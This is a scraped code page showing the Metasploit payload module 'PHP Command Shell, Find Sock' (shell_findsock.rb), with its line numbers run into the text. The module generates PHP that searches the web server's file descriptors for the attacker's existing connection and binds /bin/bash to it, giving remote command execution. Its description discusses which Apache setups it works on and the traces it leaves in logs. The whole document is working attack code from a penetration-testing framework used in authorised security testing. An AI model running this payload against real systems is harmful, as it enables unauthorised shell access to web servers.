Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/shell_findsock.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Php12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'PHP Command Shell, Find Sock',17'Description' => %Q{18Spawn a shell on the established connection to19the webserver. Unfortunately, this payload20can leave conspicuous evil-looking entries in the21apache error logs, so it is probably a good idea22to use a bind or reverse shell unless firewalls23prevent them from working. The issue this24payload takes advantage of (CLOEXEC flag not set25on sockets) appears to have been patched on the26Ubuntu version of Apache and may not work on27other Debian-based distributions. Only tested on28Apache but it might work on other web servers29that leak file descriptors to child processes.30},31'Author' => [ 'egypt' ],32'License' => BSD_LICENSE,33'Platform' => 'php',34'Handler' => Msf::Handler::FindShell,35'Session' => Msf::Sessions::CommandShell,36'Arch' => ARCH_PHP37))38end3940def php_findsock4142var_cmd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)43var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)44var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)45shell = <<END_OF_PHP_CODE46#{php_preamble}47print("<html><body>");48flush();4950function mysystem(#{var_cmd}){51#{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}52return #{var_out};53}5455#{var_fd} = 13;56for ($i = 3; $i < 50; $i++) {57$foo = mysystem("/bin/bash 2>/dev/null <&$i -c 'echo $i'");58if ($foo != $i) {59#{var_fd} = $i - 1;60break;61}62}63print("</body></html>\n\n");64flush();6566#{var_cmd} = "/bin/bash <&#{var_fd} >&#{var_fd} 2>&#{var_fd}";67mysystem(#{var_cmd});6869END_OF_PHP_CODE707172return shell73end7475#76# Constructs the payload77#78def generate(_opts = {})79return php_findsock80end81end828384